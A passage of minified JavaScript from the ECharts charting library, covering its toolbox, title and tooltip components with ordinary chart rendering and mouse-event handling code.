r,n,a=0,o=i.length;o>a;a++)r=i[a].name,n=i[a].key,this._iconList.push(r),this._featureTitle[r]=t[n].title[r]||t[n].title,t[n].icon&&(this._featureIcon[r]=t[n].icon[r]||t[n].icon),t[n].color&&(this._featureColor[r]=t[n].color[r]||t[n].color),t[n].option&&(this._featureOption[r]=t[n].option[r]||t[n].option);this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var a=0,o=this.shapeList.length;o>a;a++)this.zr.addShape(this.shapeList[a]);this._iconShapeMap.mark&&(this._iconDisable(this._iconShapeMap.markUndo),this._iconDisable(this._iconShapeMap.markClear)),this._iconShapeMap.dataZoomReset&&0===this._zoomQueue.length&&this._iconDisable(this._iconShapeMap.dataZoomReset)}},_buildItem:function(){var t,i,n,o,s=this.option.toolbox,l=this._iconList.length,h=this._itemGroupLocation.x,m=this._itemGroupLocation.y,V=s.itemSize,U=s.itemGap,d=s.color instanceof Array?s.color:[s.color],p=this.getFont(s.textStyle);"horizontal"===s.orient?(i=this._itemGroupLocation.y/this.zr.getHeight()<.5?"bottom":"top",n=this._itemGroupLocation.x/this.zr.getWidth()<.5?"left":"right",o=this._itemGroupLocation.y/this.zr.getHeight()<.5?"top":"bottom"):i=this._itemGroupLocation.x/this.zr.getWidth()<.5?"right":"left",this._iconShapeMap={};for(var c=this,u=0;l>u;u++){switch(t={type:"icon",zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:h,y:m,width:V,height:V,iconType:this._iconList[u],lineWidth:1,strokeColor:this._featureColor[this._iconList[u]]||d[u%d.length],brushType:"stroke"},highlightStyle:{lineWidth:1,text:s.showTitle?this._featureTitle[this._iconList[u]]:void 0,textFont:p,textPosition:i,strokeColor:this._featureColor[this._iconList[u]]||d[u%d.length]},hoverable:!0,clickable:!0},this._featureIcon[this._iconList[u]]&&(t.style.image=this._featureIcon[this._iconList[u]].replace(new RegExp("^image:\\/\\/"),""),t.style.opacity=.8,t.highlightStyle.opacity=1,t.type="image"),"horizontal"===s.orient&&(0===u&&"left"===n&&(t.highlightStyle.textPosition="specific",t.highlightStyle.textAlign=n,t.highlightStyle.textBaseline=o,t.highlightStyle.textX=h,t.highlightStyle.textY="top"===o?m+V+10:m-10),u===l-1&&"right"===n&&(t.highlightStyle.textPosition="specific",t.highlightStyle.textAlign=n,t.highlightStyle.textBaseline=o,t.highlightStyle.textX=h+V,t.highlightStyle.textY="top"===o?m+V+10:m-10)),this._iconList[u]){case"mark":t.onclick=c._onMark;break;case"markUndo":t.onclick=c._onMarkUndo;break;case"markClear":t.onclick=c._onMarkClear;break;case"dataZoom":t.onclick=c._onDataZoom;break;case"dataZoomReset":t.onclick=c._onDataZoomReset;break;case"dataView":if(!this._dataView){var y=e("./dataView");this._dataView=new y(this.ecTheme,this.messageCenter,this.zr,this.option,this.myChart)}t.onclick=c._onDataView;break;case"restore":t.onclick=c._onRestore;break;case"saveAsImage":t.onclick=c._onSaveAsImage;break;default:this._iconList[u].match("Chart")?(t._name=this._iconList[u].replace("Chart",""),t.onclick=c._onMagicType):t.onclick=c._onCustomHandler}"icon"===t.type?t=new r(t):"image"===t.type&&(t=new a(t)),this.shapeList.push(t),this._iconShapeMap[this._iconList[u]]=t,"horizontal"===s.orient?h+=V+U:m+=V+U}},_buildBackground:function(){var e=this.option.toolbox,t=this.reformCssArray(this.option.toolbox.padding);this.shapeList.push(new o({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-t[3],y:this._itemGroupLocation.y-t[0],width:this._itemGroupLocation.width+t[3]+t[1],height:this._itemGroupLocation.height+t[0]+t[2],brushType:0===e.borderWidth?"fill":"both",color:e.backgroundColor,strokeColor:e.borderColor,lineWidth:e.borderWidth}}))},_getItemGroupLocation:function(){var e=this.option.toolbox,t=this.reformCssArray(this.option.toolbox.padding),i=this._iconList.length,n=e.itemGap,a=e.itemSize,o=0,r=0;"horizontal"===e.orient?(o=(a+n)*i-n,r=a):(r=(a+n)*i-n,o=a);var s,l=this.zr.getWidth();switch(e.x){case"center":s=Math.floor((l-o)/2);break;case"left":s=t[3]+e.borderWidth;break;case"right":s=l-o-t[1]-e.borderWidth;break;default:s=e.x-0,s=isNaN(s)?0:s}var h,m=this.zr.getHeight();switch(e.y){case"top":h=t[0]+e.borderWidth;break;case"bottom":h=m-r-t[2]-e.borderWidth;break;case"center":h=Math.floor((m-r)/2);break;default:h=e.y-0,h=isNaN(h)?0:h}return{x:s,y:h,width:o,height:r}},__onmousemove:function(e){this._marking&&(this._markShape.style.xEnd=m.getX(e.event),this._markShape.style.yEnd=m.getY(e.event),this.zr.addHoverShape(this._markShape)),this._zooming&&(this._zoomShape.style.width=m.getX(e.event)-this._zoomShape.style.x,this._zoomShape.style.height=m.getY(e.event)-this._zoomShape.style.y,this.zr.addHoverShape(this._zoomShape),this.dom.style.cursor="crosshair",m.stop(e.event)),this._zoomStart&&"pointer"!=this.dom.style.cursor&&"move"!=this.dom.style.cursor&&(this.dom.style.cursor="crosshair")},__onmousedown:function(e){if(!e.target){this._zooming=!0;var t=m.getX(e.event),i=m.getY(e.event),n=this.option.dataZoom||{};return this._zoomShape=new o({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:t,y:i,width:1,height:1,brushType:"both"},highlightStyle:{lineWidth:2,color:n.fillerColor||s.dataZoom.fillerColor,strokeColor:n.handleColor||s.dataZoom.handleColor,brushType:"both"}}),this.zr.addHoverShape(this._zoomShape),!0}},__onmouseup:function(){if(!this._zoomShape||Math.abs(this._zoomShape.style.width)<10||Math.abs(this._zoomShape.style.height)<10)return this._zooming=!1,!0;if(this._zooming&&this.component.dataZoom){this._zooming=!1;var e=this.component.dataZoom.rectZoom(this._zoomShape.style);e&&(this._zoomQueue.push({start:e.start,end:e.end,start2:e.start2,end2:e.end2}),this._iconEnable(this._iconShapeMap.dataZoomReset),this.zr.refreshNextFrame())}return!0},__onclick:function(e){if(!e.target)if(this._marking)this._marking=!1,this._markShapeList.push(this._markShape),this._iconEnable(this._iconShapeMap.markUndo),this._iconEnable(this._iconShapeMap.markClear),this.zr.addShape(this._markShape),this.zr.refreshNextFrame();else if(this._markStart){this._marking=!0;var t=m.getX(e.event),i=m.getY(e.event);this._markShape=new n({zlevel:this.getZlevelBase(),z:this.getZBase(),style:{xStart:t,yStart:i,xEnd:t,yEnd:i,lineWidth:this.query(this.option,"toolbox.feature.mark.lineStyle.width"),strokeColor:this.query(this.option,"toolbox.feature.mark.lineStyle.color"),lineType:this.query(this.option,"toolbox.feature.mark.lineStyle.type")}}),this.zr.addHoverShape(this._markShape)}},__onMark:function(e){var t=e.target;if(this._marking||this._markStart)this._resetMark(),this.zr.refreshNextFrame();else{this._resetZoom(),this.zr.modShape(t.id,{style:{strokeColor:this._enableColor}}),this.zr.refreshNextFrame(),this._markStart=!0;var i=this;setTimeout(function(){i.zr&&i.zr.on(h.EVENT.CLICK,i._onclick)&&i.zr.on(h.EVENT.MOUSEMOVE,i._onmousemove)},10)}return!0},__onMarkUndo:function(){if(this._marking)this._marking=!1;else{var e=this._markShapeList.length;if(e>=1){var t=this._markShapeList[e-1];this.zr.delShape(t.id),this.zr.refreshNextFrame(),this._markShapeList.pop(),1===e&&(this._iconDisable(this._iconShapeMap.markUndo),this._iconDisable(this._iconShapeMap.markClear))}}return!0},__onMarkClear:function(){this._marking&&(this._marking=!1);var e=this._markShapeList.length;if(e>0){for(;e--;)this.zr.delShape(this._markShapeList.pop().id);this._iconDisable(this._iconShapeMap.markUndo),this._iconDisable(this._iconShapeMap.markClear),this.zr.refreshNextFrame()}return!0},__onDataZoom:function(e){var t=e.target;if(this._zooming||this._zoomStart)this._resetZoom(),this.zr.refreshNextFrame(),this.dom.style.cursor="default";else{this._resetMark(),this.zr.modShape(t.id,{style:{strokeColor:this._enableColor}}),this.zr.refreshNextFrame(),this._zoomStart=!0;var i=this;setTimeout(function(){i.zr&&i.zr.on(h.EVENT.MOUSEDOWN,i._onmousedown)&&i.zr.on(h.EVENT.MOUSEUP,i._onmouseup)&&i.zr.on(h.EVENT.MOUSEMOVE,i._onmousemove)},10),this.dom.style.cursor="crosshair"}return!0},__onDataZoomReset:function(){return this._zooming&&(this._zooming=!1),this._zoomQueue.pop(),this._zoomQueue.length>0?this.component.dataZoom.absoluteZoom(this._zoomQueue[this._zoomQueue.length-1]):(this.component.dataZoom.rectZoom(),this._iconDisable(this._iconShapeMap.dataZoomReset),this.zr.refreshNextFrame()),!0},_resetMark:function(){this._marking=!1,this._markStart&&(this._markStart=!1,this._iconShapeMap.mark&&this.zr.modShape(this._iconShapeMap.mark.id,{style:{strokeColor:this._iconShapeMap.mark.highlightStyle.strokeColor}}),this.zr.un(h.EVENT.CLICK,this._onclick),this.zr.un(h.EVENT.MOUSEMOVE,this._onmousemove))},_resetZoom:function(){this._zooming=!1,this._zoomStart&&(this._zoomStart=!1,this._iconShapeMap.dataZoom&&this.zr.modShape(this._iconShapeMap.dataZoom.id,{style:{strokeColor:this._iconShapeMap.dataZoom.highlightStyle.strokeColor}}),this.zr.un(h.EVENT.MOUSEDOWN,this._onmousedown),this.zr.un(h.EVENT.MOUSEUP,this._onmouseup),this.zr.un(h.EVENT.MOUSEMOVE,this._onmousemove))},_iconDisable:function(e){"image"!=e.type?this.zr.modShape(e.id,{hoverable:!1,clickable:!1,style:{strokeColor:this._disableColor}}):this.zr.modShape(e.id,{hoverable:!1,clickable:!1,style:{opacity:.3}})},_iconEnable:function(e){"image"!=e.type?this.zr.modShape(e.id,{hoverable:!0,clickable:!0,style:{strokeColor:e.highlightStyle.strokeColor}}):this.zr.modShape(e.id,{hoverable:!0,clickable:!0,style:{opacity:.8}})},__onDataView:function(){return this._dataView.show(this.option),!0},__onRestore:function(){return this._resetMark(),this._resetZoom(),this.messageCenter.dispatch(s.EVENT.RESTORE,null,null,this.myChart),!0},__onSaveAsImage:function(){var e=this.option.toolbox.feature.saveAsImage,t=e.type||"png";"png"!=t&&"jpeg"!=t&&(t="png");var i;i=this.myChart.isConnected()?this.myChart.getConnectedDataURL(t):this.zr.toDataURL("image/"+t,this.option.backgroundColor&&"rgba(0,0,0,0)"===this.option.backgroundColor.replace(" ","")?"#fff":this.option.backgroundColor);var n=document.createElement("div");n.id="__echarts_download_wrap__",n.style.cssText="position:fixed;z-index:99999;display:block;top:0;left:0;background-color:rgba(33,33,33,0.5);text-align:center;width:100%;height:100%;line-height:"+document.documentElement.clientHeight+"px;";var a=document.createElement("a");a.href=i,a.setAttribute("download",(e.name?e.name:this.option.title&&(this.option.title.text||this.option.title.subtext)?this.option.title.text||this.option.title.subtext:"ECharts")+"."+t),a.innerHTML='图片另存为":e.lang?e.lang[0]:"点击保存")+'"/>',n.appendChild(a),document.body.appendChild(n),a=null,n=null,setTimeout(function(){var e=document.getElementById("__echarts_download_wrap__");e&&(e.onclick=function(){var e=document.getElementById("__echarts_download_wrap__");e.onclick=null,e.innerHTML="",document.body.removeChild(e),e=null},e=null)},500)},__onMagicType:function(e){this._resetMark();var t=e.target._name;return this._magicType[t]||(this._magicType[t]=!0,t===s.CHART_TYPE_LINE?this._magicType[s.CHART_TYPE_BAR]=!1:t===s.CHART_TYPE_BAR&&(this._magicType[s.CHART_TYPE_LINE]=!1),t===s.CHART_TYPE_PIE?this._magicType[s.CHART_TYPE_FUNNEL]=!1:t===s.CHART_TYPE_FUNNEL&&(this._magicType[s.CHART_TYPE_PIE]=!1),t===s.CHART_TYPE_FORCE?this._magicType[s.CHART_TYPE_CHORD]=!1:t===s.CHART_TYPE_CHORD&&(this._magicType[s.CHART_TYPE_FORCE]=!1),t===V?this._magicType[U]=!1:t===U&&(this._magicType[V]=!1),this.messageCenter.dispatch(s.EVENT.MAGIC_TYPE_CHANGED,e.event,{magicType:this._magicType},this.myChart)),!0},setMagicType:function(e){this._resetMark(),this._magicType=e,!this._isSilence&&this.messageCenter.dispatch(s.EVENT.MAGIC_TYPE_CHANGED,null,{magicType:this._magicType},this.myChart)},__onCustomHandler:function(e){var t=e.target.style.iconType,i=this.option.toolbox.feature[t].onclick;"function"==typeof i&&i.call(this,this.option)},reset:function(e,t){if(t&&this.clear(),this.query(e,"toolbox.show")&&this.query(e,"toolbox.feature.magicType.show")){var i=e.toolbox.feature.magicType.type,n=i.length;for(this._magicMap={};n--;)this._magicMap[i[n]]=!0;n=e.series.length;for(var a,o;n--;)a=e.series[n].type,this._magicMap[a]&&(o=e.xAxis instanceof Array?e.xAxis[e.series[n].xAxisIndex||0]:e.xAxis,o&&"category"===(o.type||"category")&&(o.__boundaryGap=null!=o.boundaryGap?o.boundaryGap:!0),o=e.yAxis instanceof Array?e.yAxis[e.series[n].yAxisIndex||0]:e.yAxis,o&&"category"===o.type&&(o.__boundaryGap=null!=o.boundaryGap?o.boundaryGap:!0),e.series[n].__type=a,e.series[n].__itemStyle=l.clone(e.series[n].itemStyle||{})),(this._magicMap[V]||this._magicMap[U])&&(e.series[n].__stack=e.series[n].stack)}this._magicType=t?{}:this._magicType||{};for(var r in this._magicType)if(this._magicType[r]){this.option=e,this.getMagicOption();break}var s=e.dataZoom;if(s&&s.show){var h=null!=s.start&&s.start>=0&&s.start<=100?s.start:0,m=null!=s.end&&s.end>=0&&s.end<=100?s.end:100;h>m&&(h+=m,m=h-m,h-=m),this._zoomQueue=[{start:h,end:m,start2:0,end2:100}]}else this._zoomQueue=[]},getMagicOption:function(){var e,t;if(this._magicType[s.CHART_TYPE_LINE]||this._magicType[s.CHART_TYPE_BAR]){for(var i=this._magicType[s.CHART_TYPE_LINE]?!1:!0,n=0,a=this.option.series.length;a>n;n++)t=this.option.series[n].type,(t==s.CHART_TYPE_LINE||t==s.CHART_TYPE_BAR)&&(e=this.option.xAxis instanceof Array?this.option.xAxis[this.option.series[n].xAxisIndex||0]:this.option.xAxis,e&&"category"===(e.type||"category")&&(e.boundaryGap=i?!0:e.__boundaryGap),e=this.option.yAxis instanceof Array?this.option.yAxis[this.option.series[n].yAxisIndex||0]:this.option.yAxis,e&&"category"===e.type&&(e.boundaryGap=i?!0:e.__boundaryGap));this._defaultMagic(s.CHART_TYPE_LINE,s.CHART_TYPE_BAR)}if(this._defaultMagic(s.CHART_TYPE_CHORD,s.CHART_TYPE_FORCE),this._defaultMagic(s.CHART_TYPE_PIE,s.CHART_TYPE_FUNNEL),this._magicType[V]||this._magicType[U])for(var n=0,a=this.option.series.length;a>n;n++)this._magicType[V]?(this.option.series[n].stack="_ECHARTS_STACK_KENER_2014_",t=V):this._magicType[U]&&(this.option.series[n].stack=null,t=U),this._featureOption[t+"Chart"]&&l.merge(this.option.series[n],this._featureOption[t+"Chart"]||{},!0);return this.option},_defaultMagic:function(e,t){if(this._magicType[e]||this._magicType[t])for(var i=0,n=this.option.series.length;n>i;i++){var a=this.option.series[i].type;(a==e||a==t)&&(this.option.series[i].type=this._magicType[e]?e:t,this.option.series[i].itemStyle=l.clone(this.option.series[i].__itemStyle),a=this.option.series[i].type,this._featureOption[a+"Chart"]&&l.merge(this.option.series[i],this._featureOption[a+"Chart"]||{},!0))}},silence:function(e){this._isSilence=e},resize:function(){this._resetMark(),this.clear(),this.option&&this.option.toolbox&&this.option.toolbox.show&&this._buildShape(),this._dataView&&this._dataView.resize()},hideDataView:function(){this._dataView&&this._dataView.hide()},clear:function(e){this.zr&&(this.zr.delShape(this.shapeList),this.shapeList=[],e||(this.zr.delShape(this._markShapeList),this._markShapeList=[]))},onbeforDispose:function(){this._dataView&&(this._dataView.dispose(),this._dataView=null),this._markShapeList=null},refresh:function(e){e&&(this._resetMark(),this._resetZoom(),e.toolbox=this.reformOption(e.toolbox),this.option=e,this.clear(!0),e.toolbox.show&&this._buildShape(),this.hideDataView())}},l.inherits(t,i),e("../component").define("toolbox",t),t}),i("echarts/component",[],function(){var e={},t={};return e.define=function(i,n){return t[i]=n,e},e.get=function(e){return t[e]},e}),i("echarts/component/title",["require","./base","zrender/shape/Text","zrender/shape/Rectangle","../config","zrender/tool/util","zrender/tool/area","zrender/tool/color","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Rectangle"),o=e("../config");o.title={zlevel:0,z:6,show:!0,text:"",subtext:"",x:"left",y:"top",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:5,textStyle:{fontSize:18,fontWeight:"bolder",color:"#333"},subtextStyle:{color:"#aaa"}};var r=e("zrender/tool/util"),s=e("zrender/tool/area"),l=e("zrender/tool/color");return t.prototype={type:o.COMPONENT_TYPE_TITLE,_buildShape:function(){if(this.titleOption.show){this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildItem:function(){var e=this.titleOption.text,t=this.titleOption.link,i=this.titleOption.target,a=this.titleOption.subtext,o=this.titleOption.sublink,r=this.titleOption.subtarget,s=this.getFont(this.titleOption.textStyle),h=this.getFont(this.titleOption.subtextStyle),m=this._itemGroupLocation.x,V=this._itemGroupLocation.y,U=this._itemGroupLocation.width,d=this._itemGroupLocation.height,p={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{y:V,color:this.titleOption.textStyle.color,text:e,textFont:s,textBaseline:"top"},highlightStyle:{color:l.lift(this.titleOption.textStyle.color,1),brushType:"fill"},hoverable:!1};t&&(p.hoverable=!0,p.clickable=!0,p.onclick=function(){i&&"self"==i?window.location=t:window.open(t)});var c={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{y:V+d,color:this.titleOption.subtextStyle.color,text:a,textFont:h,textBaseline:"bottom"},highlightStyle:{color:l.lift(this.titleOption.subtextStyle.color,1),brushType:"fill"},hoverable:!1};switch(o&&(c.hoverable=!0,c.clickable=!0,c.onclick=function(){r&&"self"==r?window.location=o:window.open(o)}),this.titleOption.x){case"center":p.style.x=c.style.x=m+U/2,p.style.textAlign=c.style.textAlign="center";break;case"left":p.style.x=c.style.x=m,p.style.textAlign=c.style.textAlign="left";break;case"right":p.style.x=c.style.x=m+U,p.style.textAlign=c.style.textAlign="right";break;default:m=this.titleOption.x-0,m=isNaN(m)?0:m,p.style.x=c.style.x=m}this.titleOption.textAlign&&(p.style.textAlign=c.style.textAlign=this.titleOption.textAlign),this.shapeList.push(new n(p)),""!==a&&this.shapeList.push(new n(c))},_buildBackground:function(){var e=this.reformCssArray(this.titleOption.padding);this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.titleOption.borderWidth?"fill":"both",color:this.titleOption.backgroundColor,strokeColor:this.titleOption.borderColor,lineWidth:this.titleOption.borderWidth}}))},_getItemGroupLocation:function(){var e,t=this.reformCssArray(this.titleOption.padding),i=this.titleOption.text,n=this.titleOption.subtext,a=this.getFont(this.titleOption.textStyle),o=this.getFont(this.titleOption.subtextStyle),r=Math.max(s.getTextWidth(i,a),s.getTextWidth(n,o)),l=s.getTextHeight(i,a)+(""===n?0:this.titleOption.itemGap+s.getTextHeight(n,o)),h=this.zr.getWidth();switch(this.titleOption.x){case"center":e=Math.floor((h-r)/2);break;case"left":e=t[3]+this.titleOption.borderWidth;break;case"right":e=h-r-t[1]-this.titleOption.borderWidth;break;default:e=this.titleOption.x-0,e=isNaN(e)?0:e}var m,V=this.zr.getHeight();switch(this.titleOption.y){case"top":m=t[0]+this.titleOption.borderWidth;break;case"bottom":m=V-l-t[2]-this.titleOption.borderWidth;break;case"center":m=Math.floor((V-l)/2);break;default:m=this.titleOption.y-0,m=isNaN(m)?0:m}return{x:e,y:m,width:r,height:l}},refresh:function(e){e&&(this.option=e,this.option.title=this.reformOption(this.option.title),this.titleOption=this.option.title,this.titleOption.textStyle=this.getTextStyle(this.titleOption.textStyle),this.titleOption.subtextStyle=this.getTextStyle(this.titleOption.subtextStyle)),this.clear(),this._buildShape()}},r.inherits(t,i),e("../component").define("title",t),t}),i("echarts/component/tooltip",["require","./base","../util/shape/Cross","zrender/shape/Line","zrender/shape/Rectangle","../config","../util/ecData","zrender/config","zrender/tool/event","zrender/tool/area","zrender/tool/color","zrender/tool/util","zrender/shape/Base","../component"],function(e){function t(e,t,o,r,s){i.call(this,e,t,o,r,s),this.dom=s.dom;var l=this;l._onmousemove=function(e){return l.__onmousemove(e)},l._onglobalout=function(e){return l.__onglobalout(e)},this.zr.on(h.EVENT.MOUSEMOVE,l._onmousemove),this.zr.on(h.EVENT.GLOBALOUT,l._onglobalout),l._hide=function(e){return l.__hide(e)},l._tryShow=function(e){return l.__tryShow(e)},l._refixed=function(e){return l.__refixed(e)},l._setContent=function(e,t){return l.__setContent(e,t)},this._tDom=this._tDom||document.createElement("div"),this._tDom.onselectstart=function(){return!1},this._tDom.onmouseover=function(){l._mousein=!0},this._tDom.onmouseout=function(){l._mousein=!1},this._tDom.className="echarts-tooltip",this._tDom.style.position="absolute",this.hasAppend=!1,this._axisLineShape&&this.zr.delShape(this._axisLineShape.id),this._axisLineShape=new a({zlevel:this.getZlevelBase(),z:this.getZBase(),invisible:!0,hoverable:!1}),this.shapeList.push(this._axisLineShape),this.zr.addShape(this._axisLineShape),this._axisShadowShape&&this.zr.delShape(this._axisShadowShape.id),this._axisShadowShape=new a({zlevel:this.getZlevelBase(),z:1,invisible:!0,hoverable:!1}),this.shapeList.push(this._axisShadowShape),this.zr.addShape(this._axisShadowShape),this._axisCrossShape&&this.zr.delShape(this._axisCrossShape.id),this._axisCrossShape=new n({zlevel:this.getZlevelBase(),z:this.getZBase(),invisible:!0,hoverable:!1}),this.shapeList.push(this._axisCrossShape),this.zr.addShape(this._axisCrossShape),this.showing=!1,this.refresh(r)}var i=e("./base"),n=e("../util/shape/Cross"),a=e("zrender/shape/Line"),o=e("zrender/shape/Rectangle"),r=new o({}),s=e("../config");s.tooltip={zlevel:1,z:8,show:!0,showContent:!0,trigger:"item",islandFormatter:"{a}
        {b} : {c}",showDelay:20,hideDelay:100,transitionDuration:.4,enterable:!1,backgroundColor:"rgba(0,0,0,0.7)",borderColor:"#333",borderRadius:4,borderWidth:0,padding:5,axisPointer:{type:"line",lineStyle:{color:"#48b",width:2,type:"solid"},crossStyle:{color:"#1e90ff",width:1,type:"dashed"},shadowStyle:{color:"rgba(150,150,150,0.3)",width:"auto",type:"default"}},textStyle:{color:"#fff"}};var l=e("../util/ecData"),h=e("zrender/config"),m=e("zrender/tool/event"),V=e("zrender/tool/area"),U=e("zrender/tool/color"),d=e("zrender/tool/util"),p=e("zrender/shape/Base");return t.prototype={type:s.COMPONENT_TYPE_TOOLTIP,_gCssText:"position:absolute;display:block;border-style:solid;white-space:nowrap;",_style:function(e){if(!e)return"";var t=[];if(e.transitionDuration){var i="left "+e.transitionDuration+"s,top "+e.transitionDuration+"s";t.push("transition:"+i),t.push("-moz-transition:"+i),t.push("-webkit-transition:"+i),t.push("-o-transition:"+i)}e.backgroundColor&&(t.push("background-Color:"+U.toHex(e.backgroundColor)),t.push("filter:alpha(opacity=70)"),t.push("background-Color:"+e.backgroundColor)),null!=e.borderWidth&&t.push("border-width:"+e.borderWidth+"px"),null!=e.borderColor&&t.push("border-color:"+e.borderColor),null!=e.borderRadius&&(t.push("border-radius:"+e.borderRadius+"px"),t.push("-moz-border-radius:"+e.borderRadius+"px"),t.push("-webkit-border-radius:"+e.borderRadius+"px"),t.push("-o-border-radius:"+e.borderRadius+"px"));var n=e.textStyle;n&&(n.color&&t.push("color:"+n.color),n.decoration&&t.push("text-decoration:"+n.decoration),n.align&&t.push("text-align:"+n.align),n.fontFamily&&t.push("font-family:"+n.fontFamily),n.fontSize&&t.push("font-size:"+n.fontSize+"px"),n.fontSize&&t.push("line-height:"+Math.round(3*n.fontSize/2)+"px"),n.fontStyle&&t.push("font-style:"+n.fontStyle),n.fontWeight&&t.push("font-weight:"+n.fontWeight));var a=e.padding;return null!=a&&(a=this.reformCssArray(a),t.push("padding:"+a[0]+"px "+a[1]+"px "+a[2]+"px "+a[3]+"px")),t=t.join(";")+";"},__hide:function(){this._lastDataIndex=-1,this._lastSeriesIndex=-1,this._lastItemTriggerId=-1,this._tDom&&(this._tDom.style.display="none");var e=!1;this._axisLineShape.invisible||(this._axisLineShape.invisible=!0, +this.zr.modShape(this._axisLineShape.id),e=!0),this._axisShadowShape.invisible||(this._axisShadowShape.invisible=!0,this.zr.modShape(this._axisShadowShape.id),e=!0),this._axisCrossShape.invisible||(this._axisCrossShape.invisible=!0,this.zr.modShape(this._axisCrossShape.id),e=!0),this._lastTipShape&&this._lastTipShape.tipShape.length>0&&(this.zr.delShape(this._lastTipShape.tipShape),this._lastTipShape=!1,this.shapeList.length=2),e&&this.zr.refreshNextFrame(),this.showing=!1},_show:function(e,t,i,n){var a=this._tDom.offsetHeight,o=this._tDom.offsetWidth;e&&("function"==typeof e&&(e=e([t,i])),e instanceof Array&&(t=e[0],i=e[1])),t+o>this._zrWidth&&(t-=o+40),i+a>this._zrHeight&&(i-=a-20),20>i&&(i=0),this._tDom.style.cssText=this._gCssText+this._defaultCssText+(n?n:"")+"left:"+t+"px;top:"+i+"px;",(10>a||10>o)&&setTimeout(this._refixed,20),this.showing=!0},__refixed:function(){if(this._tDom){var e="",t=this._tDom.offsetHeight,i=this._tDom.offsetWidth;this._tDom.offsetLeft+i>this._zrWidth&&(e+="left:"+(this._zrWidth-i-20)+"px;"),this._tDom.offsetTop+t>this._zrHeight&&(e+="top:"+(this._zrHeight-t-10)+"px;"),""!==e&&(this._tDom.style.cssText+=e)}},__tryShow:function(){var e,t;if(this._curTarget){if("island"===this._curTarget._type&&this.option.tooltip.show)return void this._showItemTrigger();var i=l.get(this._curTarget,"series"),n=l.get(this._curTarget,"data");e=this.deepQuery([n,i,this.option],"tooltip.show"),null!=i&&null!=n&&e?(t=this.deepQuery([n,i,this.option],"tooltip.trigger"),"axis"===t?this._showAxisTrigger(i.xAxisIndex,i.yAxisIndex,l.get(this._curTarget,"dataIndex")):this._showItemTrigger()):(clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this._hidingTicket=setTimeout(this._hide,this._hideDelay))}else this._findPolarTrigger()||this._findAxisTrigger()},_findAxisTrigger:function(){if(!this.component.xAxis||!this.component.yAxis)return void(this._hidingTicket=setTimeout(this._hide,this._hideDelay));for(var e,t,i=this.option.series,n=0,a=i.length;a>n;n++)if("axis"===this.deepQuery([i[n],this.option],"tooltip.trigger"))return e=i[n].xAxisIndex||0,t=i[n].yAxisIndex||0,this.component.xAxis.getAxis(e)&&this.component.xAxis.getAxis(e).type===s.COMPONENT_TYPE_AXIS_CATEGORY?void this._showAxisTrigger(e,t,this._getNearestDataIndex("x",this.component.xAxis.getAxis(e))):this.component.yAxis.getAxis(t)&&this.component.yAxis.getAxis(t).type===s.COMPONENT_TYPE_AXIS_CATEGORY?void this._showAxisTrigger(e,t,this._getNearestDataIndex("y",this.component.yAxis.getAxis(t))):void this._showAxisTrigger(e,t,-1);"cross"===this.option.tooltip.axisPointer.type&&this._showAxisTrigger(-1,-1,-1)},_findPolarTrigger:function(){if(!this.component.polar)return!1;var e,t=m.getX(this._event),i=m.getY(this._event),n=this.component.polar.getNearestIndex([t,i]);return n?(e=n.valueIndex,n=n.polarIndex):n=-1,-1!=n?this._showPolarTrigger(n,e):!1},_getNearestDataIndex:function(e,t){var i=-1,n=m.getX(this._event),a=m.getY(this._event);if("x"===e){for(var o,r,s=this.component.grid.getXend(),l=t.getCoordByIndex(i);s>l&&(r=l,n>=l);)o=l,l=t.getCoordByIndex(++i);return 0>=i?i=0:r-n>=n-o?i-=1:null==t.getNameByIndex(i)&&(i-=1),i}for(var h,V,U=this.component.grid.getY(),l=t.getCoordByIndex(i);l>U&&(h=l,l>=a);)V=l,l=t.getCoordByIndex(++i);return 0>=i?i=0:a-h>=V-a?i-=1:null==t.getNameByIndex(i)&&(i-=1),i},_showAxisTrigger:function(e,t,i){if(!this._event.connectTrigger&&this.messageCenter.dispatch(s.EVENT.TOOLTIP_IN_GRID,this._event,null,this.myChart),null==this.component.xAxis||null==this.component.yAxis||null==e||null==t)return clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),void(this._hidingTicket=setTimeout(this._hide,this._hideDelay));var n,a,o,r,l=this.option.series,h=[],V=[],U="";if("axis"===this.option.tooltip.trigger){if(!this.option.tooltip.show)return;a=this.option.tooltip.formatter,o=this.option.tooltip.position}var d,p,c=-1!=e&&this.component.xAxis.getAxis(e).type===s.COMPONENT_TYPE_AXIS_CATEGORY?"xAxis":-1!=t&&this.component.yAxis.getAxis(t).type===s.COMPONENT_TYPE_AXIS_CATEGORY?"yAxis":!1;if(c){var u="xAxis"==c?e:t;n=this.component[c].getAxis(u);for(var y=0,g=l.length;g>y;y++)this._isSelected(l[y].name)&&l[y][c+"Index"]===u&&"axis"===this.deepQuery([l[y],this.option],"tooltip.trigger")&&(r=this.query(l[y],"tooltip.showContent")||r,a=this.query(l[y],"tooltip.formatter")||a,o=this.query(l[y],"tooltip.position")||o,U+=this._style(this.query(l[y],"tooltip")),null!=l[y].stack&&"xAxis"==c?(h.unshift(l[y]),V.unshift(y)):(h.push(l[y]),V.push(y)));this.messageCenter.dispatch(s.EVENT.TOOLTIP_HOVER,this._event,{seriesIndex:V,dataIndex:i},this.myChart);var 